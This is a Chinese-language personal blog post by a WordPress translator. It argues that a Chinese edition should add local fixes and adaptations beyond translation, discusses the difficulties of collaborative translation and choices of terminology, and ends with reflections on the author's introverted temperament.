对于中文版,我觉得不应该仅仅是汉化。我以前看过日本的一个WordPress网站,他们做的非常好,整套的日文文档,还有WordPress日文版里,他们也做了很深入的日文化,还加入了一些功能。比如,安装WordPress日文版时,你可以自行选择数据库的编码方式,是Shift-JIS还是UTF-8。所以我觉得中文版应该做的更多些。比如,WordPress里有一些bug,WordPress开发组迟迟不肯修复。(比如数据库编码方式的问题,WordPress开发组决定到2.2版才开始考虑该问题)还有一些不适合中文的地方,比如后台的一些CSS,比如对英文引号的处理,都不符合中国人的习惯。还有,每次WordPress有release版出来时,都会有很多bug被曝出来,Mark经常在他的Blog上对这些bug做出说明并给出临时处理意见。或许中文版可以做出一个小更新来修复这些问题,不必等WordPress原版推出下一个版本,这样对中文WordPress用户也是个好事。

如果有谁真的希望弄个标准化的WordPress中文版来,以上是我的建议。不过,要紧跟WordPress的步伐,随时获得最新的bug报告,对WordPress进行一些修改以适应中文环境,确实是个很累人的事。

而且,如果多人合作,也会遇到一些新问题。我自己做中文包,对于每一项我都很清楚,但是多人合作,我就要写注释,说明这里为什么不能按照原文翻译而要翻译成这样。同时也会面临一些冲突,比如我比较喜欢不翻译很多名词,比如blog、Trackback、Pingback、blogroll、feed、RSS。没必要非把blog翻译成博客,从国外的Windows、Word、Excel、Winamp、WinRAR,到国内的QQ、Foxmail,英文名并没有对它们的流行造成什么阻碍嘛。只有Google,傻乎乎的认为起个中文名字“谷歌”会更本地化一些。

我还发现我是个很呆的人,内向,不善于与人交流。而且,只懂研究技术,不懂做一些宣传。象点点游在WordPress新版发布后会写“WordPress ××版发布,本站在第一时间为您提供中文版。”象我这样木呐的人写不出这种文字,我只会写中文的WordPress changelog,一条一条的列出更新的内容。唉,孤僻的程序员,终日与电脑为伴。